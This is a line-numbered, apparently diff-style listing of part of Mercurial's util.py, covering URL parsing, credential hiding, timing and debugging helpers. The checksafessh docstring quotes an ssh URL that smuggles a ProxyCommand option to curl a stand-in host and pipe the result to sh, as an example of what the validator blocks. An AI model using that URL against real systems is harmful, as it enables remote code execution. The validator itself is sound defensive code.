2976 >>> url(br'file:///C:\users\me')
2976 <url scheme: 'file', path: 'C:\\users\\me'>
2977 <url scheme: 'file', path: 'C:\\users\\me'>
2977
2978
2978 Authentication credentials:
2979 Authentication credentials:
2979
2980
2980 >>> url(b'ssh://joe:xyz@x/repo')
2981 >>> url(b'ssh://joe:xyz@x/repo')
2981 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2982 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2982 >>> url(b'ssh://joe@x/repo')
2983 >>> url(b'ssh://joe@x/repo')
2983 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2984 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2984
2985
2985 Query strings and fragments:
2986 Query strings and fragments:
2986
2987
2987 >>> url(b'http://host/a?b#c')
2988 >>> url(b'http://host/a?b#c')
2988 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2989 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2989 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2990 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2990 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2991 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2991
2992
2992 Empty path:
2993 Empty path:
2993
2994
2994 >>> url(b'')
2995 >>> url(b'')
2995 <url path: ''>
2996 <url path: ''>
2996 >>> url(b'#a')
2997 >>> url(b'#a')
2997 <url path: '', fragment: 'a'>
2998 <url path: '', fragment: 'a'>
2998 >>> url(b'http://host/')
2999 >>> url(b'http://host/')
2999 <url scheme: 'http', host: 'host', path: ''>
3000 <url scheme: 'http', host: 'host', path: ''>
3000 >>> url(b'http://host/#a')
3001 >>> url(b'http://host/#a')
3001 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3002 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3002
3003
3003 Only scheme:
3004 Only scheme:
3004
3005
3005 >>> url(b'http:')
3006 >>> url(b'http:')
3006 <url scheme: 'http'>
3007 <url scheme: 'http'>
3007 """
3008 """
3008
3009
3009 _safechars = b"!~*'()+"
3010 _safechars = b"!~*'()+"
3010 _safepchars = b"/!~*'()+:\\"
3011 _safepchars = b"/!~*'()+:\\"
3011 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3012 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3012
3013
3013 def __init__(self, path, parsequery=True, parsefragment=True):
3014 def __init__(self, path, parsequery=True, parsefragment=True):
3014 # We slowly chomp away at path until we have only the path left
3015 # We slowly chomp away at path until we have only the path left
3015 self.scheme = self.user = self.passwd = self.host = None
3016 self.scheme = self.user = self.passwd = self.host = None
3016 self.port = self.path = self.query = self.fragment = None
3017 self.port = self.path = self.query = self.fragment = None
3017 self._localpath = True
3018 self._localpath = True
3018 self._hostport = b''
3019 self._hostport = b''
3019 self._origpath = path
3020 self._origpath = path
3020
3021
3021 if parsefragment and b'#' in path:
3022 if parsefragment and b'#' in path:
3022 path, self.fragment = path.split(b'#', 1)
3023 path, self.fragment = path.split(b'#', 1)
3023
3024
3024 # special case for Windows drive letters and UNC paths
3025 # special case for Windows drive letters and UNC paths
3025 if hasdriveletter(path) or path.startswith(b'\\\\'):
3026 if hasdriveletter(path) or path.startswith(b'\\\\'):
3026 self.path = path
3027 self.path = path
3027 return
3028 return
3028
3029
3029 # For compatibility reasons, we can't handle bundle paths as
3030 # For compatibility reasons, we can't handle bundle paths as
3030 # normal URLS
3031 # normal URLS
3031 if path.startswith(b'bundle:'):
3032 if path.startswith(b'bundle:'):
3032 self.scheme = b'bundle'
3033 self.scheme = b'bundle'
3033 path = path[7:]
3034 path = path[7:]
3034 if path.startswith(b'//'):
3035 if path.startswith(b'//'):
3035 path = path[2:]
3036 path = path[2:]
3036 self.path = path
3037 self.path = path
3037 return
3038 return
3038
3039
3039 if self._matchscheme(path):
3040 if self._matchscheme(path):
3040 parts = path.split(b':', 1)
3041 parts = path.split(b':', 1)
3041 if parts[0]:
3042 if parts[0]:
3042 self.scheme, path = parts
3043 self.scheme, path = parts
3043 self._localpath = False
3044 self._localpath = False
3044
3045
3045 if not path:
3046 if not path:
3046 path = None
3047 path = None
3047 if self._localpath:
3048 if self._localpath:
3048 self.path = b''
3049 self.path = b''
3049 return
3050 return
3050 else:
3051 else:
3051 if self._localpath:
3052 if self._localpath:
3052 self.path = path
3053 self.path = path
3053 return
3054 return
3054
3055
3055 if parsequery and b'?' in path:
3056 if parsequery and b'?' in path:
3056 path, self.query = path.split(b'?', 1)
3057 path, self.query = path.split(b'?', 1)
3057 if not path:
3058 if not path:
3058 path = None
3059 path = None
3059 if not self.query:
3060 if not self.query:
3060 self.query = None
3061 self.query = None
3061
3062
3062 # // is required to specify a host/authority
3063 # // is required to specify a host/authority
3063 if path and path.startswith(b'//'):
3064 if path and path.startswith(b'//'):
3064 parts = path[2:].split(b'/', 1)
3065 parts = path[2:].split(b'/', 1)
3065 if len(parts) > 1:
3066 if len(parts) > 1:
3066 self.host, path = parts
3067 self.host, path = parts
3067 else:
3068 else:
3068 self.host = parts[0]
3069 self.host = parts[0]
3069 path = None
3070 path = None
3070 if not self.host:
3071 if not self.host:
3071 self.host = None
3072 self.host = None
3072 # path of file:///d is /d
3073 # path of file:///d is /d
3073 # path of file:///d:/ is d:/, not /d:/
3074 # path of file:///d:/ is d:/, not /d:/
3074 if path and not hasdriveletter(path):
3075 if path and not hasdriveletter(path):
3075 path = b'/' + path
3076 path = b'/' + path
3076
3077
3077 if self.host and b'@' in self.host:
3078 if self.host and b'@' in self.host:
3078 self.user, self.host = self.host.rsplit(b'@', 1)
3079 self.user, self.host = self.host.rsplit(b'@', 1)
3079 if b':' in self.user:
3080 if b':' in self.user:
3080 self.user, self.passwd = self.user.split(b':', 1)
3081 self.user, self.passwd = self.user.split(b':', 1)
3081 if not self.host:
3082 if not self.host:
3082 self.host = None
3083 self.host = None
3083
3084
3084 # Don't split on colons in IPv6 addresses without ports
3085 # Don't split on colons in IPv6 addresses without ports
3085 if (
3086 if (
3086 self.host
3087 self.host
3087 and b':' in self.host
3088 and b':' in self.host
3088 and not (
3089 and not (
3089 self.host.startswith(b'[') and self.host.endswith(b']')
3090 self.host.startswith(b'[') and self.host.endswith(b']')
3090 )
3091 )
3091 ):
3092 ):
3092 self._hostport = self.host
3093 self._hostport = self.host
3093 self.host, self.port = self.host.rsplit(b':', 1)
3094 self.host, self.port = self.host.rsplit(b':', 1)
3094 if not self.host:
3095 if not self.host:
3095 self.host = None
3096 self.host = None
3096
3097
3097 if (
3098 if (
3098 self.host
3099 self.host
3099 and self.scheme == b'file'
3100 and self.scheme == b'file'
3100 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3101 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3101 ):
3102 ):
3102 raise error.Abort(
3103 raise error.Abort(
3103 _(b'file:// URLs can only refer to localhost')
3104 _(b'file:// URLs can only refer to localhost')
3104 )
3105 )
3105
3106
3106 self.path = path
3107 self.path = path
3107
3108
3108 # leave the query string escaped
3109 # leave the query string escaped
3109 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3110 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3110 v = getattr(self, a)
3111 v = getattr(self, a)
3111 if v is not None:
3112 if v is not None:
3112 setattr(self, a, urlreq.unquote(v))
3113 setattr(self, a, urlreq.unquote(v))
3113
3114
3114 @encoding.strmethod
3115 @encoding.strmethod
3115 def __repr__(self):
3116 def __repr__(self):
3116 attrs = []
3117 attrs = []
3117 for a in (
3118 for a in (
3118 b'scheme',
3119 b'scheme',
3119 b'user',
3120 b'user',
3120 b'passwd',
3121 b'passwd',
3121 b'host',
3122 b'host',
3122 b'port',
3123 b'port',
3123 b'path',
3124 b'path',
3124 b'query',
3125 b'query',
3125 b'fragment',
3126 b'fragment',
3126 ):
3127 ):
3127 v = getattr(self, a)
3128 v = getattr(self, a)
3128 if v is not None:
3129 if v is not None:
3129 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3130 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3130 return b'<url %s>' % b', '.join(attrs)
3131 return b'<url %s>' % b', '.join(attrs)
3131
3132
3132 def __bytes__(self):
3133 def __bytes__(self):
3133 r"""Join the URL's components back into a URL string.
3134 r"""Join the URL's components back into a URL string.
3134
3135
3135 Examples:
3136 Examples:
3136
3137
3137 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3138 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3138 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3139 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3139 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3140 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3140 'http://user:pw@host:80/?foo=bar&baz=42'
3141 'http://user:pw@host:80/?foo=bar&baz=42'
3141 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3142 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3142 'http://user:pw@host:80/?foo=bar%3dbaz'
3143 'http://user:pw@host:80/?foo=bar%3dbaz'
3143 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3144 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3144 'ssh://user:pw@[::1]:2200//home/joe#'
3145 'ssh://user:pw@[::1]:2200//home/joe#'
3145 >>> bytes(url(b'http://localhost:80//'))
3146 >>> bytes(url(b'http://localhost:80//'))
3146 'http://localhost:80//'
3147 'http://localhost:80//'
3147 >>> bytes(url(b'http://localhost:80/'))
3148 >>> bytes(url(b'http://localhost:80/'))
3148 'http://localhost:80/'
3149 'http://localhost:80/'
3149 >>> bytes(url(b'http://localhost:80'))
3150 >>> bytes(url(b'http://localhost:80'))
3150 'http://localhost:80/'
3151 'http://localhost:80/'
3151 >>> bytes(url(b'bundle:foo'))
3152 >>> bytes(url(b'bundle:foo'))
3152 'bundle:foo'
3153 'bundle:foo'
3153 >>> bytes(url(b'bundle://../foo'))
3154 >>> bytes(url(b'bundle://../foo'))
3154 'bundle:../foo'
3155 'bundle:../foo'
3155 >>> bytes(url(b'path'))
3156 >>> bytes(url(b'path'))
3156 'path'
3157 'path'
3157 >>> bytes(url(b'file:///tmp/foo/bar'))
3158 >>> bytes(url(b'file:///tmp/foo/bar'))
3158 'file:///tmp/foo/bar'
3159 'file:///tmp/foo/bar'
3159 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3160 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3160 'file:///c:/tmp/foo/bar'
3161 'file:///c:/tmp/foo/bar'
3161 >>> print(url(br'bundle:foo\bar'))
3162 >>> print(url(br'bundle:foo\bar'))
3162 bundle:foo\bar
3163 bundle:foo\bar
3163 >>> print(url(br'file:///D:\data\hg'))
3164 >>> print(url(br'file:///D:\data\hg'))
3164 file:///D:\data\hg
3165 file:///D:\data\hg
3165 """
3166 """
3166 if self._localpath:
3167 if self._localpath:
3167 s = self.path
3168 s = self.path
3168 if self.scheme == b'bundle':
3169 if self.scheme == b'bundle':
3169 s = b'bundle:' + s
3170 s = b'bundle:' + s
3170 if self.fragment:
3171 if self.fragment:
3171 s += b'#' + self.fragment
3172 s += b'#' + self.fragment
3172 return s
3173 return s
3173
3174
3174 s = self.scheme + b':'
3175 s = self.scheme + b':'
3175 if self.user or self.passwd or self.host:
3176 if self.user or self.passwd or self.host:
3176 s += b'//'
3177 s += b'//'
3177 elif self.scheme and (
3178 elif self.scheme and (
3178 not self.path
3179 not self.path
3179 or self.path.startswith(b'/')
3180 or self.path.startswith(b'/')
3180 or hasdriveletter(self.path)
3181 or hasdriveletter(self.path)
3181 ):
3182 ):
3182 s += b'//'
3183 s += b'//'
3183 if hasdriveletter(self.path):
3184 if hasdriveletter(self.path):
3184 s += b'/'
3185 s += b'/'
3185 if self.user:
3186 if self.user:
3186 s += urlreq.quote(self.user, safe=self._safechars)
3187 s += urlreq.quote(self.user, safe=self._safechars)
3187 if self.passwd:
3188 if self.passwd:
3188 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3189 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3189 if self.user or self.passwd:
3190 if self.user or self.passwd:
3190 s += b'@'
3191 s += b'@'
3191 if self.host:
3192 if self.host:
3192 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3193 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3193 s += urlreq.quote(self.host)
3194 s += urlreq.quote(self.host)
3194 else:
3195 else:
3195 s += self.host
3196 s += self.host
3196 if self.port:
3197 if self.port:
3197 s += b':' + urlreq.quote(self.port)
3198 s += b':' + urlreq.quote(self.port)
3198 if self.host:
3199 if self.host:
3199 s += b'/'
3200 s += b'/'
3200 if self.path:
3201 if self.path:
3201 # TODO: similar to the query string, we should not unescape the
3202 # TODO: similar to the query string, we should not unescape the
3202 # path when we store it, the path might contain '%2f' = '/',
3203 # path when we store it, the path might contain '%2f' = '/',
3203 # which we should *not* escape.
3204 # which we should *not* escape.
3204 s += urlreq.quote(self.path, safe=self._safepchars)
3205 s += urlreq.quote(self.path, safe=self._safepchars)
3205 if self.query:
3206 if self.query:
3206 # we store the query in escaped form.
3207 # we store the query in escaped form.
3207 s += b'?' + self.query
3208 s += b'?' + self.query
3208 if self.fragment is not None:
3209 if self.fragment is not None:
3209 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3210 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3210 return s
3211 return s
3211
3212
3212 __str__ = encoding.strmethod(__bytes__)
3213 __str__ = encoding.strmethod(__bytes__)
3213
3214
3214 def authinfo(self):
3215 def authinfo(self):
3215 user, passwd = self.user, self.passwd
3216 user, passwd = self.user, self.passwd
3216 try:
3217 try:
3217 self.user, self.passwd = None, None
3218 self.user, self.passwd = None, None
3218 s = bytes(self)
3219 s = bytes(self)
3219 finally:
3220 finally:
3220 self.user, self.passwd = user, passwd
3221 self.user, self.passwd = user, passwd
3221 if not self.user:
3222 if not self.user:
3222 return (s, None)
3223 return (s, None)
3223 # authinfo[1] is passed to urllib2 password manager, and its
3224 # authinfo[1] is passed to urllib2 password manager, and its
3224 # URIs must not contain credentials. The host is passed in the
3225 # URIs must not contain credentials. The host is passed in the
3225 # URIs list because Python < 2.4.3 uses only that to search for
3226 # URIs list because Python < 2.4.3 uses only that to search for
3226 # a password.
3227 # a password.
3227 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3228 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3228
3229
3229 def isabs(self):
3230 def isabs(self):
3230 if self.scheme and self.scheme != b'file':
3231 if self.scheme and self.scheme != b'file':
3231 return True # remote URL
3232 return True # remote URL
3232 if hasdriveletter(self.path):
3233 if hasdriveletter(self.path):
3233 return True # absolute for our purposes - can't be joined()
3234 return True # absolute for our purposes - can't be joined()
3234 if self.path.startswith(br'\\'):
3235 if self.path.startswith(br'\\'):
3235 return True # Windows UNC path
3236 return True # Windows UNC path
3236 if self.path.startswith(b'/'):
3237 if self.path.startswith(b'/'):
3237 return True # POSIX-style
3238 return True # POSIX-style
3238 return False
3239 return False
3239
3240
3240 def localpath(self):
3241 def localpath(self):
3241 if self.scheme == b'file' or self.scheme == b'bundle':
3242 if self.scheme == b'file' or self.scheme == b'bundle':
3242 path = self.path or b'/'
3243 path = self.path or b'/'
3243 # For Windows, we need to promote hosts containing drive
3244 # For Windows, we need to promote hosts containing drive
3244 # letters to paths with drive letters.
3245 # letters to paths with drive letters.
3245 if hasdriveletter(self._hostport):
3246 if hasdriveletter(self._hostport):
3246 path = self._hostport + b'/' + self.path
3247 path = self._hostport + b'/' + self.path
3247 elif (
3248 elif (
3248 self.host is not None and self.path and not hasdriveletter(path)
3249 self.host is not None and self.path and not hasdriveletter(path)
3249 ):
3250 ):
3250 path = b'/' + path
3251 path = b'/' + path
3251 return path
3252 return path
3252 return self._origpath
3253 return self._origpath
3253
3254
3254 def islocal(self):
3255 def islocal(self):
3255 '''whether localpath will return something that posixfile can open'''
3256 '''whether localpath will return something that posixfile can open'''
3256 return (
3257 return (
3257 not self.scheme
3258 not self.scheme
3258 or self.scheme == b'file'
3259 or self.scheme == b'file'
3259 or self.scheme == b'bundle'
3260 or self.scheme == b'bundle'
3260 )
3261 )
3261
3262
3262
3263
3263 def hasscheme(path):
3264 def hasscheme(path):
3264 return bool(url(path).scheme)
3265 return bool(url(path).scheme)
3265
3266
3266
3267
3267 def hasdriveletter(path):
3268 def hasdriveletter(path):
3268 return path and path[1:2] == b':' and path[0:1].isalpha()
3269 return path and path[1:2] == b':' and path[0:1].isalpha()
3269
3270
3270
3271
3271 def urllocalpath(path):
3272 def urllocalpath(path):
3272 return url(path, parsequery=False, parsefragment=False).localpath()
3273 return url(path, parsequery=False, parsefragment=False).localpath()
3273
3274
3274
3275
3275 def checksafessh(path):
3276 def checksafessh(path):
3276 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3277 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3277
3278
3278 This is a sanity check for ssh urls. ssh will parse the first item as
3279 This is a sanity check for ssh urls. ssh will parse the first item as
3279 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3280 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3280 Let's prevent these potentially exploited urls entirely and warn the
3281 Let's prevent these potentially exploited urls entirely and warn the
3281 user.
3282 user.
3282
3283
3283 Raises an error.Abort when the url is unsafe.
3284 Raises an error.Abort when the url is unsafe.
3284 """
3285 """
3285 path = urlreq.unquote(path)
3286 path = urlreq.unquote(path)
3286 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3287 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3287 raise error.Abort(
3288 raise error.Abort(
3288 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3289 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3289 )
3290 )
3290
3291
3291
3292
3292 def hidepassword(u):
3293 def hidepassword(u):
3293 '''hide user credential in a url string'''
3294 '''hide user credential in a url string'''
3294 u = url(u)
3295 u = url(u)
3295 if u.passwd:
3296 if u.passwd:
3296 u.passwd = b'***'
3297 u.passwd = b'***'
3297 return bytes(u)
3298 return bytes(u)
3298
3299
3299
3300
3300 def removeauth(u):
3301 def removeauth(u):
3301 '''remove all authentication information from a url string'''
3302 '''remove all authentication information from a url string'''
3302 u = url(u)
3303 u = url(u)
3303 u.user = u.passwd = None
3304 u.user = u.passwd = None
3304 return bytes(u)
3305 return bytes(u)
3305
3306
3306
3307
3307 timecount = unitcountfn(
3308 timecount = unitcountfn(
3308 (1, 1e3, _(b'%.0f s')),
3309 (1, 1e3, _(b'%.0f s')),
3309 (100, 1, _(b'%.1f s')),
3310 (100, 1, _(b'%.1f s')),
3310 (10, 1, _(b'%.2f s')),
3311 (10, 1, _(b'%.2f s')),
3311 (1, 1, _(b'%.3f s')),
3312 (1, 1, _(b'%.3f s')),
3312 (100, 0.001, _(b'%.1f ms')),
3313 (100, 0.001, _(b'%.1f ms')),
3313 (10, 0.001, _(b'%.2f ms')),
3314 (10, 0.001, _(b'%.2f ms')),
3314 (1, 0.001, _(b'%.3f ms')),
3315 (1, 0.001, _(b'%.3f ms')),
3315 (100, 0.000001, _(b'%.1f us')),
3316 (100, 0.000001, _(b'%.1f us')),
3316 (10, 0.000001, _(b'%.2f us')),
3317 (10, 0.000001, _(b'%.2f us')),
3317 (1, 0.000001, _(b'%.3f us')),
3318 (1, 0.000001, _(b'%.3f us')),
3318 (100, 0.000000001, _(b'%.1f ns')),
3319 (100, 0.000000001, _(b'%.1f ns')),
3319 (10, 0.000000001, _(b'%.2f ns')),
3320 (10, 0.000000001, _(b'%.2f ns')),
3320 (1, 0.000000001, _(b'%.3f ns')),
3321 (1, 0.000000001, _(b'%.3f ns')),
3321 )
3322 )
3322
3323
3323
3324
3324 @attr.s
3325 @attr.s
3325 class timedcmstats(object):
3326 class timedcmstats(object):
3326 """Stats information produced by the timedcm context manager on entering."""
3327 """Stats information produced by the timedcm context manager on entering."""
3327
3328
3328 # the starting value of the timer as a float (meaning and resulution is
3329 # the starting value of the timer as a float (meaning and resulution is
3329 # platform dependent, see util.timer)
3330 # platform dependent, see util.timer)
3330 start = attr.ib(default=attr.Factory(lambda: timer()))
3331 start = attr.ib(default=attr.Factory(lambda: timer()))
3331 # the number of seconds as a floating point value; starts at 0, updated when
3332 # the number of seconds as a floating point value; starts at 0, updated when
3332 # the context is exited.
3333 # the context is exited.
3333 elapsed = attr.ib(default=0)
3334 elapsed = attr.ib(default=0)
3334 # the number of nested timedcm context managers.
3335 # the number of nested timedcm context managers.
3335 level = attr.ib(default=1)
3336 level = attr.ib(default=1)
3336
3337
3337 def __bytes__(self):
3338 def __bytes__(self):
3338 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3339 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3339
3340
3340 __str__ = encoding.strmethod(__bytes__)
3341 __str__ = encoding.strmethod(__bytes__)
3341
3342
3342
3343
3343 @contextlib.contextmanager
3344 @contextlib.contextmanager
3344 def timedcm(whencefmt, *whenceargs):
3345 def timedcm(whencefmt, *whenceargs):
3345 """A context manager that produces timing information for a given context.
3346 """A context manager that produces timing information for a given context.
3346
3347
3347 On entering a timedcmstats instance is produced.
3348 On entering a timedcmstats instance is produced.
3348
3349
3349 This context manager is reentrant.
3350 This context manager is reentrant.
3350
3351
3351 """
3352 """
3352 # track nested context managers
3353 # track nested context managers
3353 timedcm._nested += 1
3354 timedcm._nested += 1
3354 timing_stats = timedcmstats(level=timedcm._nested)
3355 timing_stats = timedcmstats(level=timedcm._nested)
3355 try:
3356 try:
3356 with tracing.log(whencefmt, *whenceargs):
3357 with tracing.log(whencefmt, *whenceargs):
3357 yield timing_stats
3358 yield timing_stats
3358 finally:
3359 finally:
3359 timing_stats.elapsed = timer() - timing_stats.start
3360 timing_stats.elapsed = timer() - timing_stats.start
3360 timedcm._nested -= 1
3361 timedcm._nested -= 1
3361
3362
3362
3363
3363 timedcm._nested = 0
3364 timedcm._nested = 0
3364
3365
3365
3366
3366 def timed(func):
3367 def timed(func):
3367 '''Report the execution time of a function call to stderr.
3368 '''Report the execution time of a function call to stderr.
3368
3369
3369 During development, use as a decorator when you need to measure
3370 During development, use as a decorator when you need to measure
3370 the cost of a function, e.g. as follows:
3371 the cost of a function, e.g. as follows:
3371
3372
3372 @util.timed
3373 @util.timed
3373 def foo(a, b, c):
3374 def foo(a, b, c):
3374 pass
3375 pass
3375 '''
3376 '''
3376
3377
3377 def wrapper(*args, **kwargs):
3378 def wrapper(*args, **kwargs):
3378 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3379 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3379 result = func(*args, **kwargs)
3380 result = func(*args, **kwargs)
3380 stderr = procutil.stderr
3381 stderr = procutil.stderr
3381 stderr.write(
3382 stderr.write(
3382 b'%s%s: %s\n'
3383 b'%s%s: %s\n'
3383 % (
3384 % (
3384 b' ' * time_stats.level * 2,
3385 b' ' * time_stats.level * 2,
3385 pycompat.bytestr(func.__name__),
3386 pycompat.bytestr(func.__name__),
3386 time_stats,
3387 time_stats,
3387 )
3388 )
3388 )
3389 )
3389 return result
3390 return result
3390
3391
3391 return wrapper
3392 return wrapper
3392
3393
3393
3394
3394 _sizeunits = (
3395 _sizeunits = (
3395 (b'm', 2 ** 20),
3396 (b'm', 2 ** 20),
3396 (b'k', 2 ** 10),
3397 (b'k', 2 ** 10),
3397 (b'g', 2 ** 30),
3398 (b'g', 2 ** 30),
3398 (b'kb', 2 ** 10),
3399 (b'kb', 2 ** 10),
3399 (b'mb', 2 ** 20),
3400 (b'mb', 2 ** 20),
3400 (b'gb', 2 ** 30),
3401 (b'gb', 2 ** 30),
3401 (b'b', 1),
3402 (b'b', 1),
3402 )
3403 )
3403
3404
3404
3405
3405 def sizetoint(s):
3406 def sizetoint(s):
3406 '''Convert a space specifier to a byte count.
3407 '''Convert a space specifier to a byte count.
3407
3408
3408 >>> sizetoint(b'30')
3409 >>> sizetoint(b'30')
3409 30
3410 30
3410 >>> sizetoint(b'2.2kb')
3411 >>> sizetoint(b'2.2kb')
3411 2252
3412 2252
3412 >>> sizetoint(b'6M')
3413 >>> sizetoint(b'6M')
3413 6291456
3414 6291456
3414 '''
3415 '''
3415 t = s.strip().lower()
3416 t = s.strip().lower()
3416 try:
3417 try:
3417 for k, u in _sizeunits:
3418 for k, u in _sizeunits:
3418 if t.endswith(k):
3419 if t.endswith(k):
3419 return int(float(t[: -len(k)]) * u)
3420 return int(float(t[: -len(k)]) * u)
3420 return int(t)
3421 return int(t)
3421 except ValueError:
3422 except ValueError:
3422 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3423 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3423
3424
3424
3425
3425 class hooks(object):
3426 class hooks(object):
3426 '''A collection of hook functions that can be used to extend a
3427 '''A collection of hook functions that can be used to extend a
3427 function's behavior. Hooks are called in lexicographic order,
3428 function's behavior. Hooks are called in lexicographic order,
3428 based on the names of their sources.'''
3429 based on the names of their sources.'''
3429
3430
3430 def __init__(self):
3431 def __init__(self):
3431 self._hooks = []
3432 self._hooks = []
3432
3433
3433 def add(self, source, hook):
3434 def add(self, source, hook):
3434 self._hooks.append((source, hook))
3435 self._hooks.append((source, hook))
3435
3436
3436 def __call__(self, *args):
3437 def __call__(self, *args):
3437 self._hooks.sort(key=lambda x: x[0])
3438 self._hooks.sort(key=lambda x: x[0])
3438 results = []
3439 results = []
3439 for source, hook in self._hooks:
3440 for source, hook in self._hooks:
3440 results.append(hook(*args))
3441 results.append(hook(*args))
3441 return results
3442 return results
3442
3443
3443
3444
3444 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3445 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3445 '''Yields lines for a nicely formatted stacktrace.
3446 '''Yields lines for a nicely formatted stacktrace.
3446 Skips the 'skip' last entries, then return the last 'depth' entries.
3447 Skips the 'skip' last entries, then return the last 'depth' entries.
3447 Each file+linenumber is formatted according to fileline.
3448 Each file+linenumber is formatted according to fileline.
3448 Each line is formatted according to line.
3449 Each line is formatted according to line.
3449 If line is None, it yields:
3450 If line is None, it yields:
3450 length of longest filepath+line number,
3451 length of longest filepath+line number,
3451 filepath+linenumber,
3452 filepath+linenumber,
3452 function
3453 function
3453
3454
3454 Not be used in production code but very convenient while developing.
3455 Not be used in production code but very convenient while developing.
3455 '''
3456 '''
3456 entries = [
3457 entries = [
3457 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3458 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3458 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3459 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3459 ][-depth:]
3460 ][-depth:]
3460 if entries:
3461 if entries:
3461 fnmax = max(len(entry[0]) for entry in entries)
3462 fnmax = max(len(entry[0]) for entry in entries)
3462 for fnln, func in entries:
3463 for fnln, func in entries:
3463 if line is None:
3464 if line is None:
3464 yield (fnmax, fnln, func)
3465 yield (fnmax, fnln, func)
3465 else:
3466 else:
3466 yield line % (fnmax, fnln, func)
3467 yield line % (fnmax, fnln, func)
3467
3468
3468
3469
3469 def debugstacktrace(
3470 def debugstacktrace(
3470 msg=b'stacktrace',
3471 msg=b'stacktrace',
3471 skip=0,
3472 skip=0,
3472 f=procutil.stderr,
3473 f=procutil.stderr,
3473 otherf=procutil.stdout,
3474 otherf=procutil.stdout,
3474 depth=0,
3475 depth=0,
3475 prefix=b'',
3476 prefix=b'',
3476 ):
3477 ):
3477 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3478 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3478 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3479 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3479 By default it will flush stdout first.
3480 By default it will flush stdout first.
3480 It can be used everywhere and intentionally does not require an ui object.
3481 It can be used everywhere and intentionally does not require an ui object.
3481 Not be used in production code but very convenient while developing.
3482 Not be used in production code but very convenient while developing.
3482 '''
3483 '''
3483 if otherf:
3484 if otherf:
3484 otherf.flush()
3485 otherf.flush()
3485 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
3486 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
3486 for line in getstackframes(skip + 1, depth=depth):
3487 for line in getstackframes(skip + 1, depth=depth):
3487 f.write(prefix + line)
3488 f.write(prefix + line)
3488 f.flush()
3489 f.flush()
3489
3490
3490
3491
3491 # convenient shortcut
3492 # convenient shortcut
3492 dst = debugstacktrace
3493 dst = debugstacktrace
3493
3494
3494
3495
3495 def safename(f, tag, ctx, others=None):
3496 def safename(f, tag, ctx, others=None):
3496 """
3497 """
3497 Generate a name that it is safe to rename f to in the given context.
3498 Generate a name that it is safe to rename f to in the given context.
3498
3499
3499 f: filename to rename
3500 f: filename to rename
3500 tag: a string tag that will be included in the new name
3501 tag: a string tag that will be included in the new name
3501 ctx: a context, in which the new name must not exist
3502 ctx: a context, in which the new name must not exist
3502 others: a set of other filenames that the new name must not be in
3503 others: a set of other filenames that the new name must not be in
